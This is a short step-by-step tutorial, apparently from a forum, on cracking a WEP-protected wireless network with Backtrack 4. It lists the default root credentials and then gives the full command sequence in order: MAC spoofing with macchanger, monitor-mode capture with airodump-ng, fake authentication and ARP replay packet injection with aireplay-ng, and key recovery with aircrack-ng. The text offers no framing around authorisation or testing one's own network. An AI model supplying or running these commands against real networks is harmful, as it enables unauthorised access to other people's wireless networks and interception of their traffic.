First, you will need to have Backtrack 4 BETA which can be found here.
I use the DVD version, I find it easier. After downloading and burning BT4, you will have to put the CD in your computer, then restart. It should automatically load BT4. You will then be asked to log in...
login: root
pass: toor
After logging in, type in: startx
After that, BT4 should be up and running. Read below to see what you have to do next.
1. Boot computer with Backtrack 4 (login: root , pass: toor / “poweroff” at end)
2. Open Konsole and type the following:
3. airmon-ng (You will find your Interface here)
4. airmon-ng stop wlan0 ***My interface is wlan0. It may be yours also. Replace all the wlan0 with your own interface!***
5. ifconfig wlan0 down
6. macchanger --mac 00:11:22:33:44:55 wlan0
7. airmon-ng start wlan0
8. airodump-ng wlan0
9. Hit CTRL+C after finding WEP wanting to crack, then COPY THE BSSID
10. airodump-ng -c (ch) -w (file name) --bssid (bssid) wlan0
11. Open new Konsole and type the following:
12. aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:55 wlan0
13. aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:55 wlan0
14. Open new Konsole and type the following:
15. aircrack-ng -b (bssid) (file name)-01.cap